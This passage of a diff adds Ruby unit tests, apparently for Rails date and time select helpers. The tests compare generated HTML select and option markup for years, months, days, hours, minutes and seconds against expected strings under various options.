+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "written_on", start_year: 1999, end_year: 2009, with_css_classes: { year: "my-year", month: "my-month", day: "my-day", hour: "my-hour", minute: "my-minute" })
+  end
+
+  def test_date_select_with_zero_value_and_no_start_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, end_year: Date.today.year + 1, prefix: "date[first]")
+  end
+
+  def test_date_select_with_zero_value_and_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    last_year = Time.now.year + 5
+    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, start_year: 2003, prefix: "date[first]")
+  end
+
+  def test_date_select_with_zero_value_and_no_start_and_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, prefix: "date[first]")
+  end
+
+  def test_date_select_with_nil_value_and_no_start_and_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(nil, prefix: "date[first]")
+  end
+
+  def test_datetime_select_with_nil_value_and_no_start_and_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(nil, prefix: "date[first]")
+  end
+
+  def test_datetime_select_with_options_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = 456
+
+    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", index: id)
+  end
+
+  def test_datetime_select_within_fields_for_with_options_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = 456
+
+    output_buffer = fields_for :post, @post, index: id do |f|
+      concat f.datetime_select(:updated_at)
+    end
+
+    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_datetime_select_with_auto_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = @post.id
+
+    expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post[]", "updated_at")
+  end
+
+  def test_datetime_select_with_seconds
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", include_seconds: true)
+  end
+
+  def test_datetime_select_discard_year
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}.dup
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true)
+  end
+
+  def test_datetime_select_discard_month
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_month: true)
+  end
+
+  def test_datetime_select_discard_year_and_month
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
